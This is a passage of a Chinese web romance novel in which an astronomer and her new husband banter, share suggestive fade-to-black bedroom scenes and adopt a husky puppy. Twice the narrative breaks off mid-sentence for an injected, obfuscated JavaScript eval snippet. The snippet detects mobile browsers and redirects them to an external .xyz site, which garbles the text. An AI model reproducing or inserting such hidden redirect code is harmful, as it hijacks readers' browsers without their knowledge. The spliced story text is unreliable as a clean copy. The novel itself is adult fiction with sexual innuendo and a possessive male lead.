如果她这会儿说了实话,那才真的是要出大事。 按照面前这位家伙的性子,估计家都要砸烂了。 当然,肯定不是为了什么其他原因,只不过是雄性动物的胜负心。 她沉默了几秒,最终只是淡淡地说:“忘了。” 宋星燃盯着她,忽然嗤笑一声:“撒谎。” 温木没理他,低头继续吃饭。 气氛莫名沉了下去,两人之间只剩下烧烤摊的嘈杂声和偶尔的碗筷碰撞声。 宋星燃盯着她看了半晌,伸手,指尖轻轻敲了敲她的杯沿:“喂。” 温木没抬头。 “你那时候真的没在街上见过我?” 温木轻轻摇头:“没有。” 顿了顿,她又补充:“我很少出门。” 宋星燃盯着她,忽地扯了扯嘴角。 “行吧,算你运气差。” 温木没接话,看着杯子里冒泡的液体出神。 宋星燃盯着她的发顶看了一会儿,忽然伸出筷子,把她盘子里的最后一块牛肉夹走了。 温木抬眸看他,眼神平静。 男人把牛肉丢进嘴里,挑衅般地冲她扬了扬眉。 “……” 能不能再幼稚一点。 温木收回目光,放下筷子:“饱了。” 宋星燃懒洋洋地靠在椅背上,看着她:“这就饱了?温老师饭量真小。” 温木没理他,拿出手机看了眼时间。 “不早了,回去吧。” 宋星燃盯着她看了几秒,扣住她的手腕。 “温木。” 他嗓音低沉,带着一丝不易察觉的执拗。 “我们以前,真的没见过?” 温木看着他,轻轻叹了口气。 “宋星燃。”她叫他的名字,声音很轻。 “世界上哪有那么多巧合。” 宋星燃盯着她,忽然笑了。 “行。”他松开她的手腕,站起身,居高临下地看着她,“那现在我们结婚了,就可以慢慢变熟了。” 温木依旧没说话。 男人伸手,轻轻捏了捏她的后颈:“回家。” 她被他拽着站起身,两人一前一后走出烧烤摊。 夜风吹过巷子,带走了刚才那点微妙的氛围。 宋星燃走在前面,背影挺拔,温木跟在后面,目光落在他后颈上。 她撒谎了。 她见过他。 在苏黎世湖边的咖啡馆,他吹着泡泡糖,懒散地靠在椅背上,身边围着几个金发碧眼的女孩。 她只是看了一眼,就低头继续看论文了。 那时候,她并不知道他是谁。 但当她看到秦忆递来的相亲资料,照片里那张张扬的脸时,一下子就想了起来。 而现在,他成了她的丈夫。 命运有时候,真是荒谬得可笑。 走到一半,宋星燃停住脚步。 “有事?”温木问他。 宋星燃单手插兜,回头瞥她一眼:“去趟药店。” 温木微微蹙眉:“你不舒服?训练受伤了?” 昏黄的路灯下,男人喉结上的汗痕还没干透。他忽然勾唇一笑:“嗯,受伤了。” 他故意顿了顿,“你要不陪我去?反正没事,走走路当消食。” 温木抿唇,最终还是跟了上去。 两人一前一后走在窄巷里,影子被路灯拉得很长。 宋星燃的背影挺拔得像棵白杨,温木踩着他的影子走,一下够得到,一下够不到。 她有点急了,又在下一步差点撞上男人的后背。 温木偷偷瞄他一眼。 应该没发现吧。 “发什么呆呢温老师,” “跟上。” “来了。” 药店的冷气扑面而来。 宋星燃径直走向最里侧的货架,高大的身影几乎挡住顶灯的光。他弯腰时T恤下摆微微上提,露出一截劲瘦的腰线。 温木别开眼,听见塑料包装被翻动的窸窣声。 “走了。” 他转身,四个小盒子“啪”地落在收银台上。 温木低头一看,瞬间瞪大眼睛。 超薄、冰感、特大号。 男人凑近她耳边,压低嗓子问: “喜欢吗?” “……” “需要这么多?” 宋星燃俯身撑在柜台上,薄荷糖的气息混着灼热的体温笼罩过来:“放心老婆,” 他指尖点了点盒子,笑得像个得逞的坏孩子。 “都是你的。” 温木冷笑:“谢谢。” 宋星燃:“不客气哦。” 收银员憋笑憋得手抖,扫码枪“嘀”了三声才成功。 温木面无表情地扫码付款,转身就走。 夜风里传来男人闷闷的笑声,还有塑料袋晃动的轻响。 * 温木洗完澡时,发梢还滴着水。她换上丝质吊带睡裙,深蓝色布料衬得皮肤像浸在月光里的瓷。 擦干眼镜戴上,她坐到书桌前打开笔记本,屏幕冷光映出她没有表情的面庞。 也不怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233894|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人第一眼见到她,会觉得她高冷不好相处,这张脸不笑的时候确实有种生人勿近的感觉。 下周的观测项目涉及仙女座M31星系的氢α谱线分析,她调出文献,指尖在触控板上快速滑动。 房间里只有轻微的键盘敲击声,和窗外偶尔掠过的夜风。 门被推开时,温木没有回头。 直到带着潮湿水汽的体温靠近,宋星燃俯身撑在她椅背上,下巴几乎蹭到她发顶:“这都啥玩意儿?” 屏幕上满是复杂的公式和光谱图。温木推了推眼镜,声音平静:“这篇是讲旋涡星系恒星形成率的……” “停。”宋星燃打断她,手指卷起她一缕半干的发丝,“温老师,你觉得我能听懂?” 温木这才侧头看他。男人刚洗完澡,黑发凌乱地支棱着,水珠顺着脖颈滑进松垮的领口。 她视线在他锁骨上停留半秒,又转回屏幕:“那你问什么?” 宋星燃低笑一声,目光却落在她身上。 纤细的肩带勾勒出清瘦的肩膀线条,修长的脖颈在台灯下泛着珍珠般的光泽。 他忽然伸手碰了碰她镜腿:“怎么换眼镜了?” “镜链不太方便。”温木滑动页面,数据表格流水般掠过。 宋星燃屈指敲了敲桌面:“你能不能看着我说话?” “我在忙,”温木的声音依然平静,“等一下好吗?” 宋星燃直起身,重重地坐到床上,床垫发出“咚”的一声闷响。 房间里安静得只剩下键盘敲击声和宋星燃略显粗重的呼吸。 男人的目光沿着她的后颈一路向下,停留在她因坐姿而更加明显的腰臀曲线上。 感受到背后灼热的视线,温木下意识地绷紧了身体,手指在触摸板上滑动得更加用力。 “十点半了温老师。” “还不睡觉吗?” “你先睡。”温木头也不回。 身后传来布料摩擦的声音,接着是脚步声。 温木还没来得及反应,一只骨节分明的手突然伸过来,“啪”地合上了她的笔记本电脑。 “答应我的健康作息,温老师忘记了?”宋星燃站在她身后,声音里带着警告的意味。 温木皱眉,仰头看他:“你别闹,我今晚要看完的。” “明天要用?” “不是。” “那不看完能怎样?” “不怎样,但就是不行。” 宋星燃挑眉:“为什么不行?” “我。”温木犹豫了一下,解释道:“这是我的习惯。如果不把一件事做完,会觉得有点……” 她最终选择了“空虚”这个词。 宋星燃的表情变得玩味,他俯下身,双手撑在椅子扶手上,将温木困在双臂之间。 “一定要看完?” “一定要。”温木直视他的眼睛。 “行。” 男人直起身,一把将温木拉起来,自己坐到椅子上,然后掐着她的腰往下按。 温木猝不及防,直接坐到了他腿上。 “看吧,”宋星燃一手箍住她的腰,一手重新打开电脑,“我陪你一起看。” 温木挣扎了一下:“宋星燃。” “怎么了?”男人一脸无辜,手臂却纹丝不动,“不是你说一定要看完的吗?” “你可以再拿个椅子。”温木试图站起来,却被牢牢按住。 “我不要。”宋星燃的下巴搁在她肩膀上,呼吸喷在她耳后,“这样挺好。” 一阵燥热从耳根蔓延,温木问他:“你不是要按时休息的吗?你该睡觉了。” 宋星燃低笑一声,嘴唇贴上她的耳垂:“温老师天天说话不算话,那我只能用我的办法惩罚你了。” 手臂再次收紧,像铁链一样牢牢将她锁住。 “要么现在上床睡觉,要么就这样看完” “选一个?” 跟这人讲道理简直是“对狗弹琴”。 温木最终妥协地伸手打开电脑。 男人满意地哼了一声,将下巴重新搁回她肩上。温木能感觉到他胸膛的起伏,每一次呼吸都带动她的身体微微晃动。 他的手臂横在她腰间,一只手就能轻松圈住她整个腰身,手指有一下没一下地蹭过,引得她滑动鼠标的动作一顿。 “专心点,温老师。” 宋星燃的声音带着笑意,温热的气息喷在她颈侧。 温木强迫自己集中注意力,但身后男人的存在感太强了。 他的体温透过薄薄的睡裙传来,肌肉的线条紧贴着她的大腿,甚至能感受到他平稳有力的心跳。 他时不时调整姿势时带来的摩擦,也让她的呼吸不自觉地加快。 屏幕上的文字变得难以聚焦,温木不得不反复阅读同一段落。 宋星燃似乎察觉到了她的分心,低笑着将脸埋进她颈窝,鼻尖蹭过她敏感的皮肤。 “别。”温木想推开他的脑袋,侧过头,宋星燃已然闭上了眼睛。 台灯的光线柔和了他锋利的轮廓,长睫毛在眼下投下一小片阴影,看起来竟有几分乖巧。 她张了张嘴,最终什么也没说,只是轻轻叹了口气,继续阅读。 时间一分一秒过去,男人的呼吸变得均匀而绵长,手臂却依然牢牢圈着她。 温木加快速度,终于在十一点半完成了阅读。 她轻轻合上电脑,拍了拍宋星燃的手臂:“我弄好了。” “嗯。”宋星燃应了一声。 也许是真的困了,嗓音低低的。 因为离得太近,那声音像是直接在她胸腔里响起,震得她心跳加速。 温木轻声说:“我们去睡觉吧。” 过了好一会儿,宋星燃才慢慢抬起头,松开手臂。 温木立刻站起来,快步走到床边坐下。 男人跟过来,伸手就要摘她的眼镜。 温木去挡,却被他轻易扣住手腕按在床头。另一只手取下眼镜,轻轻放在床头柜上。 “睡觉不需要眼镜,温老师。” 夜灯亮起,暖黄的光线瞬间填满房间。两人的影子在墙上交叠。 在这样柔和的光线下,他锋利的眉眼也变得温柔起来。 温木躺在深色床单上,左边肩带不知何时滑落,露出半个莹润的肩膀。她的胸口微微起伏,睡裙的领口随着呼吸轻轻晃动。 宋星燃的目光变得深沉,他想起在冷湖的那一晚女人教给他的天文术语。 他后来特地查过,矮丘,指行星表面相对高度较小的丘状地貌。 “温老师,”他低低笑起来,声音沙哑。 “你猜,我能不能把矮丘变成高山?” 温木听懂了他话里的暗示,努力保持声音平稳:“睡觉。” 男人撑在她上方,黑眼睛里跳动着危险的火星。 “坏学生要惩罚。” 指尖挑开另一根肩带。 “坏老师也要。” 20. For the stars 宋星燃的吻落在颈侧时,温木抬手抵住了他的胸膛。 指尖清晰感受到那层肌肉下急促的心跳,和她自己的如出一辙。 “等等。”声音很轻,语气很冷静。 宋星燃撑起身子,黑发凌乱地垂在额前,眼睛里烧着一团暗火:“又怎么了?” 温木的视线扫过床头柜上的电子钟:23:47。 她明天十点必须到实验室,如果任由宋星燃像上次那样折腾到凌晨,她根本没法正常工作。 “我明天实验室有工作。”她习惯性地去推眼镜,才想起来眼镜已经没了。 像是失去了最后一层保护壳,面对男人直勾勾的眼神,温木有些无所适从。 宋星燃眯起眼睛,拇指摩挲着她锁骨凹陷处:“所以?” 温木深吸一口气。 她想起自己曾经看到过的“驯犬理论”,要在犬类扑咬时保持镇定,用气场压制。 “所以。” “今晚由我来决定怎么做。” 宋星燃挑眉,忽地笑出声:“温老师这是要主导实验?” “你可以这么理解。” 温木靠在床头,双腿轻轻合拢。 “今晚,听我的。” …… 不知过了多久,温木才从那种漂浮状态中回落。她听见抽纸巾的声音,然后是男人下床的动静。 浴室的水声响起,她瘫在床上,连手指都不想动。 宋星燃回来时,温木迷迷糊糊地看着他拉开衣柜最底层的抽屉,那是她放贴身衣物的地方,然后在里面找出一条白色的纯棉内裤。 “你,怎么知道,在那儿?” 她的声音虚弱得几乎听不见。 宋星燃单膝跪在床边,帮她换上干净衣物。手指偶尔擦过肌肤,引起一阵细微的战栗。 “因为我有上进心。”他笑得像个偷腥的猫,“好学生当然要做好预习。” 温木想踹他,脚踝却被一把捉住。 男人的拇指在她踝骨上画圈,眼神暗沉。 “温老师还有力气?” 她立刻收回腿,翻身拽过一个枕头,稳稳地放在两人中间。 宋星燃的笑容消失。 “什么意思?” 温木背对着他躺下,声音已经恢复平静。 “任务完成了。” “睡觉。” 身后的床垫—沉,宋星燃重重地躺了下来。 他的呼吸声明显比平时粗重,带着未消的躁动。 “温木。” 他叫她,声音里是罕见的严肃。 温木闭着眼睛装睡。 男人沉默了一会,隔着枕头将温木整个捞进怀里。 他的手臂横在她腰间,力道不轻不重,恰好让她无法挣脱又不会难受。 这个姿势太过亲密,像是两个严丝合缝的齿轮。 温木的后背紧贴着男人炽热的胸膛,甚至能感受到他尚未平复的心跳。宋星燃的呼吸喷在她后颈,带着淡淡的薄荷牙膏味。 “别动。”察觉到她的僵硬,宋星燃的声音闷闷的,“就这样睡。” 温木想伸手去推他,最终只是轻轻“嗯”了一声。她闭上眼睛,却迟迟无法入睡。 身后男人的存在感太强了,每一次呼吸都带动她的身体微微起伏。 这就是结婚的感觉吗? 怪怪的。 * 清晨,温木醒来,身边已经空了。 她摸了摸尚有余温的床单,起身洗漱。 下楼时,她正好撞见宋星燃推门而入。 男人穿着黑色运动背心和灰色运动短裤,汗水将布料浸透,贴在身上勾勒出清晰的肌肉轮廓。脸颊因为运动泛着健康的红晕,整个人散发着蓬勃的热气。 “去干嘛了?”温木问道,目光扫过他线条分明的手臂。 宋星燃弯腰换鞋,头也不抬:“跑步。” “之前没见过你晨跑。” “那是因为某人每天晚上都不安分,”宋星燃直起身,嘴角勾起一抹痞笑,“害得我作息紊乱,连跑步时间都不规律了。” 颠倒黑白。 温木无语,转身走向玄关换鞋。 “不吃早饭?” “去小吃街随便买点就行。” “鸡蛋灌饼?” 温木摇头:“今天打算吃山东煎饼来着。” 宋星燃翻了个白眼:“等着。” 他大步走向厨房,在水龙头下冲了冲手,然后抽出几张纸巾擦干脸上和脖颈的汗水。 温木看着他打开冰箱,拿出鸡蛋、牛排和几样蔬菜,动作熟练得不像话。 “你会做饭?”她忍不住问。 宋星燃:“怎么,温老师觉得我只会吃?” 温木没接话,默默在岛台边坐下。男人的背影是好看的,宽肩窄腰,肌肉线条随着切菜的动作起伏。阳光从落地窗洒进来,连汗湿的发梢都闪着细碎的光。 不到二十分钟,香气就弥漫了整个厨房。宋星燃将煎得恰到好处的牛排和太阳蛋装盘,推到温木面前。 牛排表面焦香,切开后却是漂亮的粉红色;蛋黄圆润饱满,轻轻一戳就会流出浓稠的蛋液。 温木尝了一口,眼睛微微睁大。 是好吃的。 “怎么样?”宋星燃靠在对面,目光灼灼地盯着她。 “不错。”温木没有吝惜自己的夸赞,却也没有再多说什么。 “温老师,”宋星燃喊她,“你真的很没良心。” 温木抬头,男人正双手撑在岛台上俯视她。 她咽下最后一口牛排:“我怎么没良心了?” 男人眯起眼睛:“我辛辛苦苦给你做这么好吃的早餐,你就不能多说两句?最起码要表示感谢吧。” “谢谢。”温木擦了擦嘴。 “我还应该该说什么?” “你就不好奇,”宋星燃凑近一些,“我为什么会做饭吗?” 温木慢条斯理地剥着水煮蛋,语气平静:“不好奇。” 她抬眸,“因为我从一开始就知道,你很厉害。” 宋星燃愣住了,耳根以肉眼可见的速度变红。 他直起身,转身走向冰箱,拿出一盒牛奶放进热水里温着,全程没再说一个字。 诡异的沉默在厨房蔓延。 温木小口喝着温水,目光落在窗外摇曳的树影上。 “我想养狗。” 趁着他现在心情还不错,赶紧商量。 宋星燃正在擦台面的手一顿:“什么狗?” “哈士奇,很小一只,于茉表妹家的。” “不行。”宋星燃干脆利落地拒绝,“掉毛,拆家,还吵。” 温木推了推眼镜:“我会负责打扫和训练。” “你连自己都照顾不好,”男人嗤笑一声,“还养狗?” “我养过狗。” 宋星燃放下抹布,双臂交叉抱在胸前:“给我个同意的理由。” 温木思考片刻:“狗狗可以陪你在家。我工作忙的时候,你不会太无聊。” 她挑了个为他着想的说法。 “我不需要狗陪。”宋星燃俯身,双手撑在她两侧的台面上,“我有更好的消遣方式。” 温木直视他的眼睛:“那你要怎样才同意?” 宋星燃的嘴角缓缓上扬,露出那种她再熟悉不过的、恶劣的笑容。 “今晚答应我一个要求。” “什么要求?” “现在不能说。”他的指尖轻轻敲击台面,“但我保证,不会让你太难受。” 温木抿唇。 她已经隐约猜到宋星燃的“要求”会是什么了——也许一个极其羞耻的姿势,也许是一个极其漫长的时间。 “可以换一个条件吗?”她试图讨价还价。 宋星燃摇头,眼睛里闪烁着志在必得的光芒:“就这个,不二价。” 温木低头看着自己的手指。她确实很想养那只哈士奇幼崽,但眼前这个男人又太过可怕。 经过激烈的思想斗争,她最终点头。 男人的笑容瞬间扩大,露出尖锐的虎牙。 温木起身,拿起包准备出门。 宋星燃:“老婆,不用我送吗?” 她回头瞪他一眼,语气竟有点凶狠:“别笑了,牙着凉了。” 男人索性大笑出声,笑声一直追着她到门外。 温木快步走出前院花园,却无法抑制嘴角微微上扬的弧度。 * 温木踏进实验室,就把包往桌上一放,对于茉说:“他同意了。” 于茉的眼睛瞬间亮了起来:“真的?宋少爷这么好说话?” 她立刻掏出手机,“我现在就通知管家,今天下班就把狗给你送来!” 温木还没来得及反应,于茉的手指已经在屏幕上飞舞起来:“你一定会喜欢他的!” 手机发出“叮”的一声发送成功的提示音。 那还用说吗? 比起宋星燃,她肯定更喜欢那只哈士奇幼崽。 于茉突然凑过来,压低声音:“对了,宋总这周末要来我们学校谈合作了。” 温木正在开机的手一顿:“这么快?” “嗯哼。”于茉得意地晃了晃脑袋,“我听说校长嘴都笑得合不拢了。都是托你的福。” 算了吧。 她结婚以前也没想到,两栋楼的代价有点大。 啊,腰疼。 于茉看她不说话,以为她是担心,便宽慰她:“你放心,知道的人很少。” 可不是。 她自己都不知道。 温木:“那你又是怎么知道的?” 于茉神秘一笑:“姐的眼线,无处不在。” 温木皱眉:“还有人知道吗?” 于茉立刻会意,拍拍她的肩膀:“放心吧。你公公兜不住,我给你兜住。” 温木无奈地摇头,点开文献,开始一天的工作。 * 夕阳西下,温木和于茉手挽着手走出实验楼。 风带着温热,吹起她的发梢。她今天穿了件米色衬衫和卡其色半身裙,少了几分冷淡,多了几分温婉。 “温老师!你老公来接你了!” 保安大叔洪亮的声音从校门口传来,引得路过的学生纷纷侧目。 温木脚步一顿,顺着声音望去。 校门外,宋星燃站在那儿,黑色字母T恤包裹着宽肩窄腰,灰色运动裤下是一双笔直的长腿。胸前挂着的星星项链,在夕阳下闪着细碎的光,更显张扬。 看到温木,男人微微扬起下巴,嘴角勾起一抹痞笑,活像只等待主人认领的大型犬。 于茉激动地晃着温木的胳膊:“你这小老公,果然名不虚传。长得真带劲啊。” 温木无奈地看她一眼,伸手拈去她发丝上沾的飘絮:“你放心,你以后的老公会比他更带劲。” 于茉突然凑到她耳边,声音压得极低:“所以,猛不猛?” 温木垂眸看了一眼某处,又抬头,表情平静:“你觉得我为什么站不稳。” 于茉先是一愣,随即反应过来,捂着嘴笑得肩膀直抖。 温木无奈,扯着笑得不行的于茉一点一点往校门口走。 “老婆,怎么这么晚啊。” 宋星燃的声音慵懒中带着几分痞气,音量不大不小,刚好让周围人都能听见。 于茉瞬间憋不住笑出声来,保安大叔假装捂住耳朵,眼睛却笑得眯成一条缝。 温木面不改色,松开挽着于茉的手,径直走向宋星燃,牵起他的手就往外走。 男人倏然怔住,眼睛瞪得溜圆。没有反抗,任由温木拉着他往前走。还因为走神踉跄了两步,差点扑倒前面的人。 女人的手比他小了一圈,柔软却有力,指尖微凉。宋星燃不自觉地收拢手指,将她整只手包裹在掌心。 两人走出几十米,在那辆扎眼的布加迪前停下。 “很好玩?”温木抬头看他。 宋星燃双手插兜,坏笑:“还不错。” 身后传来一阵急促的脚步声和呼喊:“阿木!狗!” “狗你不要啦!” 不要了。 这只,和那只,都不想要了。 现在退货还来得及吗? 于茉抱着一个毛茸茸的小团子气喘吁吁地追上来,身后还跟着一位年轻男子,手里拎着大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241279|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包小包。 “给,你的狗。”她将一团黑白相间的毛球递过来。 那是一只刚出生不久的哈士奇幼崽,圆滚滚的小身体,蓝色的眼睛像两颗宝石,耳朵还没完全立起来,软趴趴地耷拉着。 它好奇地打量着新主人,粉红色的小舌头吐出来,发出“呜嘤”一声。 温木的心瞬间化了。她小心翼翼地接过小狗,指尖陷入柔软的毛发中。 小家伙在她掌心蹭了蹭,温暖又脆弱的感觉让她不自觉地放柔了表情。 “这是。”年轻男子走上前,将一大袋东西递给温木,“一些必需品,这段时间可以先用着。” 宋星燃直接伸手接过:“谢谢。” 男子打量他一眼,微笑颔首:“宋少爷。” 于茉也大方地打招呼:“你好啊妹夫。” 温木解释:“茉茉比我大一个月。” 男人只是微微点头,语气淡淡:“你好。” 拽个什么劲呢。 温木无奈,转头问于茉:“你怎么想的这么周到?” “因为是送给你的呀。”于茉眨眨眼,随即开始滔滔不绝地讲解养幼犬的注意事项,“一定要少食多餐,每天四到五次,不能洗澡太频繁,磨牙期要准备专门的玩具……” 温木虽然以前养过狗,但没照顾过这么小的幼犬,所以听得格外认真,时不时点头。 宋星燃站在一旁,表情从最初的饶有兴趣逐渐变得无聊,最后忍不住打了个喷嚏。 温木这才意识到把他晾在一边太久了。他正用那种“你什么时候才能注意到我”的眼神盯着她。 “我们先回去了。”她对于茉说,然后将小狗塞到一旁的男人怀里。 “你干什么!” 宋星燃吓了一跳,手忙脚乱地接住小毛团。 “我开车,你抱它。”温木淡定地拉开车门。 宋星燃僵硬地抱着狗,那双能精准操控赛车的大手此刻却不知该如何安放这个小生命。 哈士奇幼崽在他怀里显得更加迷你,黑白相间的毛色与他黑色T恤形成鲜明对比。 “你你你赶紧拿走。”宋星燃压低声音,“我最讨厌狗了。” 同性相斥,应该的。 “那你想让我晕车吗?”温木系好安全带,从后视镜里看他。 男人沉默了,半晌才憋出一句:“开快点。” 车子平稳驶出,温木时不时从后视镜观察后排的情况。 宋星燃像捧着易碎品一样抱着小狗,表情严肃得可笑。每当小狗动一下,他就紧张地“哼”一声。 “祖宗,别动了。”宋星燃压低声音警告,“别动了!” 温木没忍住,“扑哧”一声笑了出来。 宋星燃震惊地抬头。他认识温木这段时间以来,她要么不笑,要么只是礼貌性的微笑。这样毫无防备的笑出声,还是第一次。 他本想愤怒地质问“你笑什么”,却在看到她嘴角的弧度时,莫名咽了回去。 笑吧笑吧。 晚上他看她笑不笑的出来。 回到家,温木立刻开始布置狗窝。 她从袋子里取出柔软的垫子、小毯子和几个玩具,在客厅角落精心布置了一个舒适的小窝。 褪去实验室里的严肃认真,这会儿的她,是柔和的,想让人靠近的。 宋星燃抱着狗坐在沙发上,目光不自觉地追随着她的身影。 温木工作时那种专注的神情又出现了,只不过这次对象是一只狗的窝。 她纤细的手指抚平垫子上的每一处褶皱,将玩具摆放得恰到好处,偶尔推一下滑落的眼镜,裙摆随着动作轻轻晃动。 宋星燃看得有些出神,直到裤子上传来一股湿热的感觉。 “艹!” 男人发出一声尖锐的爆鸣,差点从沙发上弹起来。 温木回头,看到宋星燃僵硬地举着小狗,□□处一片深色水渍正在扩散。 哈士奇幼崽无辜地歪着头,蓝色眼睛里写满了“不关我事”。 温木快步走过来接过小狗,嘴角微微上扬:“欢迎成为铲屎官,宋少爷。” 小狗适时地“汪”了一声,尾巴摇得像个小螺旋桨,仿佛在说:从今天开始,请多指教啦! 宋星燃:“……” 你不要过来啊! * 卧室里只亮着一盏小夜灯,宋星燃仰躺在床上,手臂枕在脑后,死死盯着天花板。 已经十一点了。 从晚饭结束到现在,温木一直坐在楼下地毯上敲电脑,连头都没抬一下。 他故意把脚步声踩得很重地从她面前经过三次,甚至“不小心”踢翻了她的水杯。 结果那女人只是平静地擦了擦电脑,连个眼神都没给他。 “坏女人。” 宋星燃咬牙切齿地翻了个身,把脸埋进枕头里。 枕头上还残留着温木常用的茉莉洗发水的香气,让他更烦躁了。 他决定再等十分钟。 要是那个工作狂还不回来睡觉,他就直接下去把人扛上来。 咔哒。 门锁转动的声音让宋星燃立刻闭上眼睛,呼吸故意放得绵长均匀。 轻盈的脚步声靠近床边,带着沐浴后的玫瑰香气。他感觉到几缕微凉的发丝扫过脸颊,痒痒的,像小猫的尾巴。 “睡着了?”温木的声音很轻。 宋星燃屏住呼吸,一动不动。 一声低笑在黑暗中漾开,像一滴墨落入清水,慵懒又性感。 床垫微微下陷,那触感转瞬即逝,却像火星溅在干草上,瞬间点燃了他全身的血液。 宋星燃猛地睁开眼,侧头看去。 温木正侧腿坐在床的另一边,月光透过纱帘落在她身上。 她没戴眼镜,黑色的蕾丝睡衣几乎透明,深V领口缀着细碎的水晶,衬得肌肤如雪。纤细的腰线在镂空设计下若隐若现,修长的腿微微曲起,在床单上压出暧昧的褶皱。 她正望着他,明明眼神清冷,眼尾却微微上挑,像只慵懒的猫。 温木歪头,指尖轻轻点在男人的锁骨上,居高临下。 “看我干什么?” “不来抱我吗?” 21. For the stars 男人仰躺在床上,手臂枕在脑后,凝视着她的双眸在暗处灼灼发亮。 温木没有动,指尖卷着睡裙腰间的蕾丝。 于茉送的这件“秘密武器”还是太超过了,裙摆只到大腿中部,后背几乎全空,只有两根交叉的细带维系着最后的体面。 天知道她穿上它的时候用了多么大的勇气。 不过该说不说,她自己也觉得很好看。 只不过…… 谁能告诉她这个男人为什么一点反应都没有? “真不抱我?” 宋星燃喉结滚动,却没动。 “什么意思?” 还能有什么意思? 麻溜的呗! 温木默默掐紧了床单。 说实话,她丝毫不怀疑宋星燃一周九次的行动力。他既然说了,就肯定能做到。 但明天实验室还有重要数据要处理,如果再拖下去,很可能变成一晚九次。 那她就不用去学校了,直接躺板板得了。 “我明天不忙。” 温木挪了一下腿,不小心蹭到他手臂。 宋星燃终于坐起身,黑眸里跳动着危险的火星。 “所以?” 丝绸床单在动作间发出细微的摩擦声。 “所以,轮到你履行丈夫的义务了。” 男人伸手扣住她的手腕,力道不重却足以让她停下动作。 他的拇指摩挲着她腕间突起的骨头,声音低沉。 “裙子哪来的?” “于茉送的。” 温木顺势俯身,发梢垂落在他锁骨上。 宋星燃翻身将她压住,鼻尖凑近她的脖子。温木能闻到他身上淡淡的须后水味道,混合着某种独有的炽热气息。 “下次不许穿。” 真不懂欣赏。 “你不喜欢?” 两根脆弱的肩带被毫不留情地扯开,水晶珠子噼里啪啦散落一地。 “喜欢。” 他咬住她的耳垂,声音含糊而凶狠。 “喜欢到想打人。” 暴力狂。 温木默默在心里吐槽。她觉得很有必要给这位学渣少爷进行文化课的补习,好让他从原始动物进化成文明人类。 “温老师。” “你知道我看见你穿成这样的时候,在想什么吗?” 温木摸着他柔顺的黑发,轻声问:“在想什么?” “我在想。” “我要把你锁在卧室,让所有人都看不见,只有我一个人能看见,也只有我一个人能……” 他没有说完,因为温木像是预料到了似的,捂住了他的嘴。 当然,宋星燃又凑到她耳边,将那两个字说与她听。 流氓。 男人大手一挥。 “宋星燃!”温木难得提高音量。 “这是真丝的!” 宋星燃充耳不闻,灼热的吻已经落下。温木想推开他,手掌抵住的胸膛却像烧红的铁板,烫得她指尖发麻。 她恍惚意识到,她举着玩具水枪妄想控制火焰,却完全不知,宋星燃就是一座活火山。 “不许乱啃。” 这是温木最后的命令。 月光悄悄爬上床尾,朦胧间,有人轻柔地托起她的后颈,温水顺着喉咙滑下。 温木勉强睁开眼,宋星燃正用湿毛巾擦拭她汗湿的脖颈,眉头微蹙。 “睡吧。” 他低声说,指尖将她黏在脸颊的发丝拨开。 她太累了,抵不过潮水般涌来的睡意。 最后的意识里,她感觉到男人在给她穿衣服,长袖长裤,裹得严严实实。 宋星燃轻手轻脚地躺回床上,摸出手机。屏幕冷光照出他脖颈上的抓痕,和嘴角尚未消退的弧度。 他点开靳召南的聊天框,直接转账两万。 Jin:【?】 Lgnis:【请你表姐喝酒】 Lgnis:【顺便帮我问下,那件衣服在哪买的?】 Jin:【别逼我揍你。】 Lgnis:【滚】 Lgnis:【她懂我意思】 Jin:【有病。】 “你的转账已经被接收。” 宋星燃把手机扔到一边,转头看向身侧。温木背对着他睡得正熟,呼吸均匀绵长。 他习惯性地想抱她,却看到两人之间横亘着一个枕头。 都软成那样了,居然还没忘记放枕头。 “啧。” 宋星燃直接隔着枕头将人捞进怀里,下巴抵在她发顶。 飘窗上,半人高的狗狗玩偶瞪着玻璃珠眼睛,在月光下闪闪发亮。 宋星燃恶狠狠地瞪回去。 看什么? 再看就把你扔掉。 玩偶当然不会回应,只是咧着毛绒绒的嘴傻笑。 宋星燃突然觉得自己很幼稚,却又控制不住地较劲。他伸手抓过床头的水杯,作势要砸,最后却只是轻轻放下,转而将温木搂得更紧了些。 女人的后背贴着他的胸膛,隔着薄薄衣料能感受到彼此的温度。枕头阻隔了部分体温,却挡不住温木身上淡淡的玫瑰香气。 宋星燃将鼻尖埋进她发丝,闭上眼睛。 夏夜的风摇动树梢,一片叶子轻轻拍打玻璃。 是星星在敲门。 * 也许是那晚尽了兴,也许是看她一连几天走路都不太自然,宋星燃这几天格外安分。 温木坐在实验室里调整光谱仪参数,习惯性揉了揉后腰。 已经是21:57。这几天忙得很,全实验室都在加班,她更不能提前回去。 不过按照最近几天的规律,宋星燃应该正靠在床头假寐。 他总坚持要等她回家一起睡,却又不想让她知道,就装出一副“我只是刚好没睡着”的样子。 真当她什么都看不出来。 推开家门,玄关的感应灯自动亮起。 客厅里,汽油正趴在狗窝里啃磨牙棒,见她回来立刻竖起耳朵,圆溜溜的蓝眼睛在黑暗中发亮。 哦对,狗狗叫“汽油”,宋星燃起的。 一个女孩子,叫“汽油”。 温木昨天早上出门时才发现的。 